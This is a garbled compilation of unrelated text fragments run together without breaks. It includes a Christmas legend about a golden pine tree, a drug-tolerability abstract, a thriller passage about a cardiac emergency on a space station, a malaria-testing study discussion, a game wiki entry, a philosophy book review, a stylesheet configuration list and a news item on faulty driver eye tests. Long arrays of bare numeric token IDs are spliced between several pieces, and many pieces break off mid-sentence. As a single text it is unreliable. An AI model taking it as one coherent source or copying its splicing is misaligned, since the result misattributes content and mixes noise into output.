me to carry this home, the harder the leaves got and the heavier it felt. But it can't be real gold, and I'm scared of what my parent's reaction will be." The young man continued his story. "This morning, my mother gave me money to go to the city of Tarbes to buy a Christmas tree. When I was going through the village, I saw a lonely old woman who had no family to spend Christmas dinner with. I was certain I would be able to get a good discount on a tree, so I gave her some of the money I had for her to buy herself some dinner. As I continued through the town, I passed by the prison and saw an enormous line of people waiting to go inside to visit their loved ones. I overheard some of them say they did not even have enough money to buy a slice of Christmas fruit cake. I was so moved by these young people waiting in line and I decided I would share some of my money with them too. I gave most of it to them, keeping just a small amount for myself to buy some lunch. The florist I was going to visit was a friend of the family and I was sure that if I promised to work all next week for him, that he would give me the Christmas tree for free. When I reached the market, though, I found out that the florist I knew did not go to work that day. I tried as hard as I could to find someone who would lend me the money I needed to buy the Christmas tree somewhere else, but it was all in vain. Frustrated, I decided that having some lunch would help me clear my head and I walked over to the restaurant counter. As I approached the bar, a foreign-looking little boy asked me if I could spare some change because he hadn't eaten in two days. I remembered that at one time even Jesus may have gone hungry, and I handed over the little money I had left and began returning home. On my walk back, I broke off a brand from a pine tree and tried to decorate it as well as I could, since I didn't get the Christmas tree I was supposed to get. But as I continued to walk it just kept getting heavier and heavier and turning into metal, and it's far from being the Christmas tree that my mother is expecting me to come home with. "My dear boy", said the priest, "the perfume that is emanating from this tree leaves no doubt whatsoever that it has been touched by heaven. Let me tell you the rest of its story."ť The priest sat down next to the boy and continued, "As soon as you walked away from that lonely woman, she immediately asked the Virgin Mary, a mother like herself, to give you an unexpected blessing. The parents of the prisoners were convinced that they had come across an angel, and said prayers of thanks for the Christmas cakes they were now able to buy. The boy you met at the restaurant gave thanks to god for satiating his hunger. The Virgin, angels and Jesus heard the prayers of those who had been helped and when you broke off the brand from the pine tree, the Virgin bathed it in perfume. As you continued to walk, the angels touched the leaves and they turned to gold. Finally, when everything was complete Jesus looked upon the work and blessed. From now on, whoever touches this tree will have their sins forgiven and their wishes fulfilled." The legend goes that the sacred pine tree is still there in St. Martin, and that its force is so great that all who help their brothers on Christmas Eve, however far they may be from the little village in the Pyrenees, are blessed by it.Etoricoxib tolerability in patients with hypersensitivity to nonsteroidal anti-inflammatory drugs. Adverse reactions to nonsteroidal anti-inflammatory drugs (NSAIDs) are commonly observed, particularly among patients with chronic urticaria or asthma. The identification of a safe and reliable alternative is a frequent problem in clinical practice. Our aim was to investigate the clinical tolerability of etoricoxib, a new selective cyclooxygenase-2 inhibitor, in a group of patients with well-established NSAID hypersensitivity. We assessed 31 adults (21 women and 10 men) who reported one or more adverse reactions to NSAIDs, manifested as cutaneous, respiratory or anaphylactic symptoms. Sixteen of them reported reactions to a single NSAID (single reactors) and 15 to more than one NSAID (multiple reactors); the most frequently involved drug was acetylsalicylic acid. First, each patient underwent allergologic tests (skin and/or oral challenge tests) with culprit NSAIDs and then tolerability tests with increasing doses of etoricoxib up to 120 mg. All challenges were performed under single-blind, placebo-controlled conditions. NSAID hypersensitivity was diagnosed in all 31 patients: 3 displayed positive results to pyrazolone skin tests and the other 28 to challenges with culprit NSAIDs. None reacted to either placebos or etoricoxib. Etoricoxib seems to be a safe alternative for patients with well-demonstrated NSAID hypersensitivity.Middlefield District No. 1 School Middlefield District No. 1 School is a historic school building located at Cooperstown in Otsego County, New York. It was built in 1875,
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Together, they propelled him toward the lab module, where the medical equipment had been set up. "Capcom, we've located the patient," said Emma. "He appears to be seizing--grand mal. I need Surgeon on the loop!" "Stand by, Watson. Go ahead, Surgeon." Emma heard a startlingly familiar voice over her headset. "Hey, Em. Hear you've got yourself a problem up there." " _Jack?_ What are you doing--" "How's your patient?" Still in a state of shock, she focused her attention on Kenichi. Even as she restarted the IV, attached EKG wires, she was wondering what Jack was doing in Mission Control. He had not sat at a flight surgeon's console in a year; now here he was on the comm loop, his voice calm, even casual, as he asked about Kenichi's status. "Is he still seizing?" "No. No, he's making purposeful movements now--fighting us--" "Vital signs?" "Pulse is rapid--one twenty, one thirty. He's moving air." "Good. So he's breathing." "We're just getting the EKG hooked up now." She glanced at the monitor, at the cardiac rhythm racing across the screen. "Sinus tach, rate of one twenty-four. Occasional PVCs." "I see it on biotelemetry." "Taking BP now..." She whiffed up the cuff, listened to the brachial pulse as the pressure was slowly released. "Ninety-five over sixty. Not significantly--" The blow caught her by surprise. She gave a sharp cry of pain as Kenichi's hand flailed out, striking her across the mouth. The impact spun her away, and she flew across the module, colliding with the opposite wall. "Emma?" said Jack. _" Emma?"_ Dazed, she reached up to touch her throbbing lip. "You're bleeding!" said Nicolai. Over her headset, Jack's frantic voice demanded, "What the hell is going on up there?" "I'm okay," she murmured. And repeated, irritably, "I'm okay, Jack. Don't have a cow." But her head was still buzzing from the blow. As Nicolai strapped Kenichi to the patient restraint board, she hung back, waiting for her dizziness to pass. At first she did not register what Nicolai was saying. Then she saw the look of disbelief in his eyes. "Look at his stomach," Nicolai whispered. _" Look!"_ Emma moved closer. "What the hell is that?" she whispered. "Talk to me, Emma," said Jack. "Tell me what's going on." She stared at Kenichi's abdomen, where the skin seemed to ripple and boil. "There's something moving--under his skin--" "What do you mean, moving?" "It looks like muscle fasciculations. But it's migrating across the belly..." "Not peristalsis?" "No. No, it's moving _upwards._ It's not following the intestinal tract." She paused. The squirming had suddenly stopped, and she was staring at the smooth, unworried surface of Kenichi's abdomen. _Fasciculations,_ she thought. The uncoordinated twitching of muscle fibers. It was the most likely explanation, except for one detail: Fasciculations do not migrate in waves. Suddenly Kenichi's eyes shot open, and he stared at Emma. The cardiac alarm squealed. Emma turned to see the EKG whipsawing up and down on the screen. "V tach!" said Jack. "I see it, I see it!" She flipped on the defibrillator charge button, then felt for a carotid pulse. There it was. Faint, barely palpable. His eyes had rolled up, and only the bloodred sclerae were visible. He was still breathing. She slapped on defibrillator pads, positioned the paddles on the chest, and pressed the discharge buttons. An electric charge of one hundred joules shot through Kenichi's body. His muscles contracted in a violent and simultaneous spasm. His legs thrashed against the board. Only the restraints kept him from flying across the module. "Still in V tach!" said Emma. Diana came flying into the module. "What can I do?" she asked. "Get the lidocaine ready!" snapped Emma. "CDK drawer, right side!" "Found it." "He's not breathing!" said Nicolai. Emma grabbed the ambu-bag and said, "Nicolai, brace me!" He maneuvered into position, planting his feet on the opposite wall, his back pressed against Emma's to hold her in place as she applied the oxygen mask. On earth, performing cardiopulmonary resuscitation is demanding enough; in microgravity, it is a nightmare of complex acrobatics, with drifting equipment, tubes twisting and tangling in midair, syringes filled with precious drugs floating away. The simple act of pressing your hands against a patient's chest can send you tumbling across the room. Although the crew had practiced this scenario, no rehearsal could reproduce the genuine chaos of bodies frantically maneuvering in a closed space, racing against the clock of a dying heart. With the mask over Kenichi's mouth and nose, she squeezed the ambu-bag, forcing oxygen into his lungs. The EKG line continued to thrash across the screen. "One amp lidocaine IV push now," said Diana. "Nicolai, shock him again!" said Emma. After the briefest hesitation, he reached for the paddles, placed them on the chest, and pressed the discharge buttons. This time two hundred joules arced through Kenichi's heart. Emma glanced at the monitor. "He's gone into V fib! Nicolai, start cardiac compressions. I'm going to intubate!" Nicolai released the defib paddles, and they floated off, dangling at the ends of the wires. Bracing his feet against the opposite wall of the module, he was about to place his palms on Kenichi's sternum when he suddenly jerked his hands away. Emma looked at him. "What is it?" "His chest. Look at his chest!" They stared. The skin on Kenichi's chest was boiling, squirming. At the contact points where the defib paddles had delivered their electric jolts, two raised circles had formed and were now spreading, like ripples cast by a stone in water. "Asystole!" came Jack's voice over her headset. Nicolai was still frozen, staring at Kenichi's chest. It was Emma who swung into position, bracing her back against Nicolai's. _Asystole. The heart has stopped. He will die without cardiac compressions._ She felt nothing moving, nothing unusual. Just skin stretched over the bony landmarks of his breastbone. _Muscle fasciculations,_ she thought. _It had to be. There's no other explanation._ With her body braced in position, she began chest compressions, her hands performing the work for Kenichi's heart, pumping blood to his vital organs. "Diana, one amp IV epinephrine!" she ordered. Diana injected the drug into the IV line. They all looked at the monitor, hoping for, praying for, a blip on the screen. ## ELEVEN "There has to be an autopsy," said Todd Cutler. Gordon Obie, director of Flight Crew Operations, flashed him an irritated look. Some of the others in the conference room gave Cutler dismissive nods as well, because he had merely stated the obvious. Of course there would be an autopsy. Over a dozen people had gathered together for this crisis meeting. An autopsy was the least of their concerns. Right now, Obie was dealing with more urgent issues. Normally a man of few words, he'd suddenly found himself in the uncomfortable position of having reporters' microphones thrust at his face whenever he appeared in public. The excruciating process of assigning blame had begun. Obie had to accept a portion of responsibility for this tragedy, because he had approved the choice of every member of the flight crew. If the crew screwed up, in essence, _he_ had screwed up. And his choice of Emma Watson was starting to look like a major error. That, at least, was the message he was hearing in this room. As the only physician aboard ISS, Emma Watson should have realized Hirai was dying. An immediate CRV evac might have saved him. Now a shuttle had been launched, and a multimillion-dollar rescue mission had turned into nothing more than a morgue run. Washington was hungry for scapegoats, and the foreign press was asking a politically incendiary question: Would an _American_ astronaut have been allowed to die? The PR fallout was, in fact, this meeting's major topic of discussion. Gretchen Liu said, "Senator Parish has gone on the record with a statement."
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778, 320, 7197, 6983, 2190, 4105, 13, 11393, 390, 1679, 19149, 14431, 1254, 1311, 3046, 5413, 534, 812, 689, 14, 383, 2542, 1055, 3910, 2439, 4343, 604, 627, 403, 12082, 3910, 275, 7625, 342, 2289, 281, 5175, 285, 1971, 15, 187, 187, 22807, 1712, 4538, 938, 94, 187, 15765, 187, 187, 1552, 2929, 310, 253, 806, 281, 22048, 253, 4833, 273, 10401, 5175, 327, 1349, 41816, 15198, 1971, 387, 253, 3072, 1268, 275, 247, 19817, 5133, 2439, 2709, 4343, 13, 285, 310, 3559, 347, 629, 273, 247, 6804, 14, 30172, 2746, 281, 5513, 2586, 1543, 15, 29986, 2586, 7629, 369, 1119, 275, 253, 1055, 273, 10401, 5175, 327, 1349, 41816, 15198, 1971, 387, 253, 3072, 14, 5251, 13, 285, 18276, 1543, 1804, 253, 3486, 273, 10401, 14, 7527, 598, 327, 1971, 7089, 778, 417, 320, 15246, 275, 10934, 13521, 2515, 1677, 33876, 3374, 824, 347, 2289, 281, 1557, 13, 1971, 14, 41772, 8770, 390, 6186, 5739, 14, 8349, 15, 9937, 941, 7364, 13, 11745, 1543, 812, 1361, 4271, 4343, 313, 70, 15, 72, 904, 24872, 1369, 2271, 10, 390, 3374, 313, 70, 15, 72, 904, 19643, 2495, 10, 835, 9509, 14, 3169, 2561, 390, 13521, 4116, 778, 320, 26085, 15, 380, 6804, 14, 30172, 2746, 10316, 2366, 3072, 14, 285, 9509, 14, 3169, 941, 13, 13521, 7177, 13, 2561, 2175, 13, 285, 6485, 11626, 285, 812, 7826, 320, 908, 281, 2939, 10934, 24040, 2439, 4343, 390, 689, 673, 281, 1361, 7522, 4619, 1941, 18388, 15, 187, 187, 14087, 4367, 1712, 4538, 1797, 94, 187, 1702, 187, 187, 14087, 1873, 337, 6098 ]	attempts were made to account for this issue in the analysis (see [Methods](#Sec2){ref-type="sec"}). In addition, this practice may delay visiting formal providers such that children are more severely ill once they reach facilities with diagnostic services, which further increases treatment likelihood. Illness severity was also put forward to potentially explain effect differences found by child symptoms in Malawi and Benin (Table [3](#Tab3){ref-type="table"}). Delayed care-seeking practices are also an important issue for countries where there is simply difficult access to formal care, particularly if supplies are concentrated at hospitals.""(In Burundi) microscopy is basically in hospitals and healthcare access is difficult - remote, hilly communities. These results really show poor access to care." (Burundi case study)." Malaria epidemiology was also noted to affect results since the likelihood of malaria infection plausibly influences diagnosis and treatment practices. Four studied countries showed effect differences across malaria strata, which may further support this theory (Table [3](#Tab3){ref-type="table"}).""There are three main reasons I can think of that could explain (Mozambique) results: (1) high malaria prevalence in certain areas even in the dry season (2) poor case management practices (3) access to testing and care (rural, bad infrastructure, hard to get tested and treated)." (Mozambique case study)." Discussion {#Sec19} ========== Overall, findings indicate variability in the effect of diagnostic testing on paediatric fever treatment at the population level across studied countries in 2010--2012, and no country demonstrated significant ACT use reductions associated with testing as hypothesized. Four common themes emerged to explain varying results: available diagnostics and medicines; quality of care; care-seeking behaviour; and, malaria epidemiology. Indeed, the study hypothesis is implicitly grounded in an assumption that all febrile children have similar access to medicines irrespective of testing status, and that untested paediatric fevers are presumptively given malaria treatment while only a sub-set of tested ones are treated (e.g., positive cases). There are numerous reasons why this hypothesis may not hold in routine programme conditions, particularly at the outset of new guidelines, and that significantly different results may be observed across countries. One important issue is that countries included in this analysis had relatively low diagnostic test coverage at the population level given the early assessment. This low coverage plausibly indicates that diagnostic services remained concentrated at higher-level facilities that generally have better medicine stocks and more severely ill patients, both of which increase treatment likelihood. Indeed, available diagnostics and medicines was a main theme identified in this study to explain varying results (see Table [4](#Tab4){ref-type="table"}). This is consistent with other research suggesting that access to care is the greatest contributor to reduced systems effectiveness for malaria case management in Zambia \[[@CR47]\]. This theme was cited as a main explanation for results across all case study countries. In Mozambique and Burundi, for example, diagnostic services were concentrated at hospitals at the time of survey fieldwork given the lack of RDT scale-up (e.g., Burundi) or widespread RDT stock-outs (e.g., Mozambique). At the same time, both of these countries experienced ACT shortages at peripheral clinics such that febrile children attending locations with diagnostic tests probably had better access to medicines. General poor access to formal care and low use of informal providers (e.g., drug shops) in these countries may have further compounded the vast under-treatment of untested paediatric fevers. Yet, in Benin and Malawi, diagnostic services seemed less a marker of access to medicines. In Benin, there were mixed reports about RDT and ACT availability at peripheral facilities around this time \[[@CR9],[@CR44]\], and drug shops without diagnostic services are widely used to obtain medicines. In Malawi, a national facility survey indicated ACT and other medicines were commonly available at peripheral clinics that lacked diagnostic services \[[@CR20]\]. In Uganda and Rwanda, in contrast, diagnostic services were more widely available at this time with microscopy at Ugandan health centres and RDT at the community level in Rwanda \[[@CR44]\]. In Uganda, however, reported ACT stock-outs at health centres with microscopy services could also have impacted its results. As countries move towards universal test coverage, it is, therefore, reasonable to expect that expanded access to testing and care could reduce the strong association between diagnosis and malaria treatment found in this analysis. Yet, other factors may still influence this relationship at the population level even if universal test coverage is achieved. Other main themes identified in this study included quality of care, care-seeking behaviour and malaria epidemiology, which have also been described elsewhere \[[@CR6],[@CR7],[@CR25],[@CR48],[@CR49]\]. Finally, Rwanda and Uganda results also suggest that reductions in malaria treatment associated with testing may be met with increased antibiotic use, which has been documented in facility-based research from Tanzania \[[@CR13],[@CR15]\]. Given strong concerns about irrational antibiotic prescription habits \[[@CR50]\], this finding merits investigation in future facility-based adherence studies as well. From a programme perspective, countries could potentially improve population-level results, as exemplified by Rwanda, largely by expanding access to testing and care and improving quality case management. Findings also suggest the impact of diagnostic-scale up on treatment decisions may not be straightforward in routine programme conditions given such issues as access to formal care, treatment-seeking behaviour or supply stock-outs. For example, in settings where there is poor access to formal care or where the informal sector is widely used, diagnostic services may need to be extended through integrated community case management approaches \[[@CR51]\]. This could not only improve access to testing and care, but also help ensure that non-severe febrile illnesses are at least as likely to get tested as severe cases. Indeed, diagnosis of less severe cases is arguably more informative given the overlap of initial malaria symptoms with other illnesses \[[@CR52]\], the critical need to reduce delays in appropriate fever management \[[@CR53]\], and the plausible better test adherence for less severe patients as hypothesized in case studies. This study is the first to use routine national surveys to examine the effect of diagnostic testing on paediatric fever treatment at the population level in a standardized manner across multiple countries and among key sub-national groups. As part of a mixed-methods approach, a typology to describe the complex phenomena that could drive results at the population level is presented, which draws on similar evaluation methods in health services research \[[@CR54]\]. The inclusion of multiple countries with contrasting results and common explanatory themes lends support to the external validity of conclusions (known as theoretical replication) and the potential application of this typology to other contexts \[[@CR27]\]. In fact, future quantitative research using these datasets could potentially employ these themes to predict the relationship between testing and treatment at the population level in other countries or over time as RDT scale-up continues. This typology could also serve as a standard framework to assess programmes in routine conditions, and may be particularly informative for countries without more robust evidence. Another benefit of DHS analyses is to help identify countries (e.g., Mozambique) or issues (e.g., malaria risk) where further facility-based research or programme attention may be warranted. There are notable data limitations. First, data in this analysis are from 2010--2012 and many studied countries began wide-scale RDT deployment after these surveys were conducted \[[@CR44]\]. Recent research shows improved test-based treatment practices over time \[[@CR5],[@CR8]\] and new methods hold promise to further improve case management \[[@CR55],[@CR56]\]. Countries could show different results in future analyses, and this assessment could be repeated once new datasets become available. Second, surveys do not record a child's test result and analysis of (in)appropriate case management is not possible using these data. Without the test result, quantitative findings alone are quite difficult to interpret. The mixed-methods approach was developed to help understand results but provides only a set of plausible explanations as a basis for further quantitative research. Third, analyses of observational data are prone to residual confounding issues and two key variables are not directly measured in surveys that confound the exposure-outcome relationship: illness severity and 'well-stocked' facility attendance. This analysis was limited to DHS datasets that contained specific proxy variables for these issues, but the relationship likely remains confounded as highlighted in case studies. Finally, caregiver recall of medicines given to sick children has shown mixed results in studies \[[@CR57],[@CR58]\]. There may be worse recall among poor, rural or less educated mothers \[[@CR59]\], which could over-estimate effect differences across countries if there are systematic differences in populations with access to testing and treatment. Conclusions {#Sec20} =========== This paper is the first to quantify the influence of diagnostic testing on paediatric fever treatment at the population level in a standardized manner across multiple countries, and is presented as part of a mixed-methods approach to explain country results. Significant country variation was found in the effect of diagnostic testing on paediatric fever treatment at the population-level, and qualitative results suggest the impact of diagnostic-scale up on treatment decisions may not be straightforward in routine programme conditions given contextual issues such as access to care, treatment-seeking behaviour or supply stock-outs. Despite data limitations, quantitative results could help identify countries (e.g., Mozambique) or issues (e.g., malaria risk) where facility-based research or programme attention may be warranted. The mixed-methods approach brings together population- and facility-based data, programme documents, research studies, and expert opinions and could potentially be used to assess routine programmes across countries or over time to help fill critical evidence gaps. Additional files {#Sec21} ================ Additional file 1:**
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29116, 323, 253, 13232, 273, 253, 19951, 4780, 273, 1495, 668, 313, 20270, 481, 40, 1189, 920, 4803, 1705, 275, 767, 3510, 27, 3367, 13, 275, 534, 253, 2758, 273, 247, 3569, 5948, 403, 26277, 7730, 281, 2509, 752, 247, 1798, 1436, 13896, 731, 281, 513, 13, 285, 4803, 273, 25978 ]	Triangulum Alpha is a star system. HUB-V-19A Triangulum Alpha is a star system in the universe of No Man's Sky. It is part of a Tri-System colony dubbed the “Triangulum Tri-System”. HUB-G-165 Triangulum Beta and HUB-V-17E Triangulum Gamma are the two other systems that make up the Triangulum Tri-System Colony. Planets & Moons [ edit \| edit source ] This star system contains six planets: Cobalt (Barren, Somehow lush)]] Eusdensweih (Verdant, High fauna)]] Oyleessew-Reyag (Barren, Thamium rich)]] Toxic (!) (Extremely Toxic)]] Vatiena-4 Lokinsa (Bleak, No fauna)]] Wirandovichautar (Toxic, Rich fauna)]] Vy'keen Space Station Vendor [ edit \| edit source ] The following blueprints are sold by the NPC vendor in this system’s Space station: 0469 : 0081 : 0D6D : 019A Hub Management System Info [ edit \| edit source ] Distance to Center: 166594.5 Light Years Distance to SouthernLight: 368.8 Light Years Distance to Rentocniijik Expanse Black Hole: 107.9 Light Years Distance to FistOfTheNorth: 97.7 Light Years Galactic Hub Project subreddit PilgrimStarPath Galactic Hub Interloper Handbook 2007.06.14 Margaret Gilbert A Theory of Political Obligation: Membership, Commitment, and the Bonds of Society Published: June 14, 2007 Margaret Gilbert, A Theory of Political Obligation: Membership, Commitment, and the Bonds of Society, Oxford University Press, 2006, 332pp., $55.00 (hbk), ISBN 0199274959. Reviewed by David Lefkowitz, University of North Carolina, Greensboro Does membership in a political society, in and of itself, involve obligations to uphold that society’s political institutions?Margaret Gilbert offers a novel argument in defense of an affirmative answer to this question, which she labels the membership problem.Given a plausible construal of the concepts obligation, political society, and membership in a political society, Gilbert argues that it follows analytically that to be a member of a political society just is to have an obligation to uphold and support that society’s political institutions.The key to Gilbert’s argument is the idea of a joint commitment; those who jointly commit to X as a body thereby acquire obligations vis-à-vis the others with whom they jointly act.Social groups, including political societies, exist as the result of such a commitment amongst those who constitute them.In virtue of their joint commitment, agents form a plural subject, and so Gilbert titles her solution to the membership problem the plural subject theory of political obligation. As a renewed and improved defense of two historical accounts rarely given much credence today, namely an argument by appeal to conceptual analysis and an argument by appeal to actual consent, Gilbert’s book deserves the attention of all those concerned with the topic of political obligation.Moreover, given her intriguing analysis of a wide range of social phenomena, including promises and agreements, Gilbert’s book merits the attention of a wider audience as well. Consider, first, the concept of a genuine obligation. To have a genuine obligation to do a certain thing is, first, to have sufficient reason to do that thing.According to Gilbert, “X has sufficient reason for performing A if and only if a consideration C that speaks in favor of X’s doing A is such that, all else being equal, rationality requires that X do A, given C” (29).If there is a consideration that speaks against X’s doing A, such that it would not be irrational for her to fail to do A, then all else is not equal.Second, Gilbert endorses the common characterization of genuine obligations as relatively conclusive, by which she means that they defeat or trump inclination and self-interest as reasons for action.That is, if one has a genuine obligation to do A, then holding all else equal, one rationally ought to do A even if inclination and/or self-interest speak against doing it.Genuine obligations are not necessarily absolutely conclusive reasons for action, however; a second obligation (perhaps of a different sort) may provide a rational justification for not doing what one has a genuine obligation to do. Gilbert contrasts genuine obligations with what she labels imputed obligations, which might be best understood as obligations alleged to provide sufficient reason for action, but which may not do so.Legal obligations are an example of imputed obligations; they may provide sufficient reason for action, but they can exist without doing so.More important, however, is Gilbert’s claim that to be bound by a genuine obligation is not necessarily to be bound by a moral requirement.Philosophical discussion of political obligation typically assumes that what is at issue is a particular kind of moral reason for subjects to support the state that rules them.In contrast, Gilbert aims to demonstrate that members of a political society have genuine obligations to support its governing institutions, even if they do not have any moral reason to do so (or indeed, even if morality gives them reason not to support their governing institutions, all things considered). Next consider the concept of a social group, of which political societies are one type.A set of individuals constitute a social group (and so something more than a mere set of individuals) if they are jointly committed to do X as a body.More precisely, a population makes up a social group if “(1) they are jointly committed to espousing as a body the appropriate goal; (2) they are fulfilling the behavioral conditions associated with the achievement of that goal; [and] (3) their satisfaction of these conditions is motivated in each case by the existence of the joint commitment” (146).Like personal decisions, joint commitments are acts of will, except that while the former are made by individuals singly, and provide reason to act only for that agent, joint commitments are made collectively by two or more people, and bind collectively all those who together make the commitment. By jointly committing to espouse as a body some goal, the parties to the joint commitment acquire genuine obligations to one another.That is, the joint commitment provides a relatively conclusive sufficient reason for action to those agents who have made it; at the very least, they rationally ought not to act from inclination or self-interest in cases where doing so conflicts with upholding the joint commitment.Gilbert emphasizes that “a joint commitment obligates by virtue of its structure, that is, by virtue of its jointness,” and not the circumstances of its creation, the content of the obligations it creates, or some feature of the goal to which the parties are jointly committed (163).Thus Gilbert’s analysis of obligations of joint commitment clear the way for what is perhaps her most startling claim: that joint commitments create genuine obligations even in coercive circumstances, or when the goal the parties are jointly committed to espousing is an immoral one.I return to this point below. Given an analysis of social groups as founded on joint commitments, the idea of membership in a particular social group can be understood in terms of being a party to the joint commitment that constitutes the group.In virtue of the parties having jointly committed to pursue the goal in question, each also enjoys the standing to demand certain conduct from the others, or to rebuke them when the requisite acts are not undertaken.Gilbert also appeals to the notion of a joint commitment to explicate other phenomena frequently associated with membership in a social group, such as the sense of betrayal when a group member fails to uphold the joint commitment. In order for two or more people to enter into a joint commitment, each must express a readiness to be jointly committed with the other to doing X as a body, and the expression of readiness by each must be common knowledge to all.Meeting the readiness condition requires that each agent be aware that by doing or not doing a certain act, certain normative consequences will follow (e.g. that she will owe certain conduct to the other with whom she has become jointly committed), though Gilbert emphasizes that an agent need not enter a joint commitment deliberately.The necessary expression of readiness can take many forms, including not only a statement to the effect that one is prepared to jointly commit with others, but also actions undertaken against a background that makes them intelligible as expressions of readiness to be jointly committed.In the latter case, one act may suffice, or the necessary expression of readiness may require a series of actions over time. Societies are a particular kind of social group, distinguished from other types of social groups by the fact that the joint commitment that constitutes them is to a social rule.Gilbert writes that “there is a social rule in population P if and only if the members of P are jointly committed to accepting as a body a requirement (or fiat) of the following form: members of P are to perform action A in circumstances C” (197).Political societies are ones whose members are jointly committed to a particular kind of social rule, which Gilbert labels a governing rule.Roughly, governing rules are those that “settle a matter that demands settling for the sake of the peaceful progress of life” (186).Governing rules come in two types: personal, in which the members of a political society are jointly committed to doing what a particular person commands them to do, and rules of governance
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$include-ext-chart-theme-category6: dynamic(true);; $include-ext-chart-theme-category6gradients: dynamic(true);; $include-ext-chart-theme-default: dynamic(true);; $include-ext-chart-theme-defaultgradients: dynamic(true);; $include-ext-chart-theme-green: dynamic(true);; $include-ext-chart-theme-greengradients: dynamic(true);; $include-ext-chart-theme-midnight: dynamic(true);; $include-ext-chart-theme-muted: dynamic(true);; $include-ext-chart-theme-purple: dynamic(true);; $include-ext-chart-theme-purplegradients: dynamic(true);; $include-ext-chart-theme-red: dynamic(true);; $include-ext-chart-theme-redgradients: dynamic(true);; $include-ext-chart-theme-sky: dynamic(true);; $include-ext-chart-theme-skygradients: dynamic(true);; $include-ext-chart-theme-yellow: dynamic(true);; $include-ext-chart-theme-yellowgradients: dynamic(true);; $include-ext-container-container: dynamic(false);; $include-ext-core-domhelper: dynamic(false);; $include-ext-core-domquery: dynamic(false);; $include-ext-data-abstractstore: dynamic(false);; $include-ext-data-ajaxproxy: dynamic(false);; $include-ext-data-arrayreader: dynamic(false);; $include-ext-data-arraystore: dynamic(false);; $include-ext-data-batch: dynamic(false);; $include-ext-data-bufferedstore: dynamic(false);; $include-ext-data-chainedstore: dynamic(false);; $include-ext-data-clientproxy: dynamic(false);; $include-ext-data-connection: dynamic(false);; $include-ext-data-dataproxy: dynamic(false);; $include-ext-data-datareader: dynamic(false);; $include-ext-data-datawriter: dynamic(false);; $include-ext-data-directproxy: dynamic(false);; $include-ext-data-directstore: dynamic(false);; $include-ext-data-error: dynamic(false);; $include-ext-data-errorcollection: dynamic(false);; $include-ext-data-errors: dynamic(false);; $include-ext-data-field: dynamic(false);; $include-ext-data-httpproxy: dynamic(false);; $include-ext-data-jsonp: dynamic(false);; $include-ext-data-jsonpstore: dynamic(false);; $include-ext-data-jsonreader: dynamic(false);; $include-ext-data-jsonstore: dynamic(false);; $include-ext-data-jsonwriter: dynamic(false);; $include-ext-data-localstorageproxy: dynamic(false);; $include-ext-data-localstore: dynamic(false);; $include-ext-data-memoryproxy: dynamic(false);; $include-ext-data-model: dynamic(false);; $include-ext-data-modelmanager: dynamic(false);; $include-ext-data-nodeinterface: dynamic(false);; $include-ext-data-nodestore: dynamic(false);; $include-ext-data-operation: dynamic(false);; $include-ext-data-pagemap: dynamic(false);; $include-ext-data-proxy: dynamic(false);; $include-ext-data-proxystore: dynamic(false);; $include-ext-data-reader: dynamic(false);; $include-ext-data-record: dynamic(false);; $include-ext-data-request: dynamic(false);; $include-ext-data-restproxy: dynamic(false);; $include-ext-data-resultset: dynamic(false);; $include-ext-data-scripttagproxy: dynamic(false);; $include-ext-data-serverproxy: dynamic(false);; $include-ext-data-session: dynamic(false);; $include-ext-data-sessionstorageproxy: dynamic(false);; $include-ext-data-simplestore: dynamic(false);; $include-ext-data-sorttypes: dynamic(false);; $include-ext-data-store: dynamic(false);; $include-ext-data-storemanager: dynamic(false);; $include-ext-data-storemgr: dynamic(false);; $include-ext-data-treemodel: dynamic(false);; $include-ext-data-treestore: dynamic(false);; $include-ext-data-types: dynamic(false);; $include-ext-data-validation: dynamic(false);; $include-ext-data-webstorageproxy: dynamic(false);; $include-ext-data-writer: dynamic(false);; $include-ext-data-xmlreader: dynamic(false);; $include-ext-data-xmlstore: dynamic(false);; $include-ext-data-xmlwriter: dynamic(false);; $include-ext-data-field-boolean: dynamic(false);; $include-ext-data-field-date: dynamic(false);; $include-ext-data-field-field: dynamic(false);; $include-ext-data-field-integer: dynamic(false);; $include-ext-data-field-number: dynamic(false);; $include-ext-data-field-string: dynamic(false);; $include-ext-data-flash-binaryxhr: dynamic(false);; $include-ext-data-identifier-generator: dynamic(false);; $include-ext-data-identifier-negative: dynamic(false);; $include-ext-data-identifier-sequential: dynamic(false);; $include-ext-data-identifier-uuid: dynamic(false);; $include-ext-data-matrix-matrix: dynamic(false);; $include-ext-data-matrix-side: dynamic(false);; $include-ext-data-matrix-slice: dynamic(false);; $include-ext-data-operation-create: dynamic(false);; $include-ext-data-operation-destroy: dynamic(false);; $include-ext-data-operation-operation: dynamic(false);; $include-ext-data-operation-read: dynamic(false);; $include-ext-data-operation-update: dynamic(false);; $include-ext-data-proxy-ajax: dynamic(false);; $include-ext-data-proxy-client: dynamic(false);; $include-ext-data-proxy-direct: dynamic(false);; $include-ext-data-proxy-jsonp: dynamic(false);; $include-ext-data-proxy-localstorage: dynamic(false);; $include-ext-data-proxy-memory: dynamic(false);; $include-ext-data-proxy-proxy: dynamic(false);; $include-ext-data-proxy-rest: dynamic(false);; $include-ext-data-proxy-server: dynamic(false);; $include-ext-data-proxy-sessionstorage
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369, 1408, 14, 3487, 285, 1077, 1199, 275, 6735, 15, 6491, 12918, 387, 253, 18903, 15, 733, 369, 1892, 281, 2868, 597, 651, 320, 2104, 281, 9302, 387, 824, 247, 2834, 4836, 15, 1292, 12273, 277, 457, 1394, 6169, 285, 617, 18903, 858, 417, 7168, 2798, 15, 1583, 4307, 13, 285, 4270, 13, 285, 4229, 15, 32761, 512, 13, 597, 25213, 4130, 275 ]	carried out by government appointed optometrists, but the DVLA now admits that the test results were false. This will mainly apply to people with glaucoma and diabetes retinopathy, both of which can cause visual field loss. The DVLA is refusing to compensate drivers, many of whom have been forced to sell their cars, pay for taxis or other forms of transport, not to mention people who could have lost their jobs as a result of not being able to drive. The DVLA blames the makers of the equipment for the fault, which was a software problem in the equipment causing the lights to shine less brightly than they should have. Some people may have been able to detect the lights if the higher brightness level had been used and these people should not have lost their licences. Although the DVLA maintains that as soon as they were aware of the problem, they contacted everyone who had been tested on the faulty equipment, it not only rejects liability but has made it very difficult to make a claim against the equipment manufacturer by refusing to disclose the company name. However, the government agency could face a potential multi-million-pound bill if people joined together using the new-style class legal actions permitted under the recently enacted Consumer Rights Act. The agency says that of the 604 people affected, less than half of those who replied have sought to reapply for their licences; 71 are still awaiting a reassessment; and the DVLA is trying to get in touch with the 232 who have not yet responded. Around 80% of those who agreed to be reassessed have since had their licences restored. The contract with Specsavers Prior to 2013, the 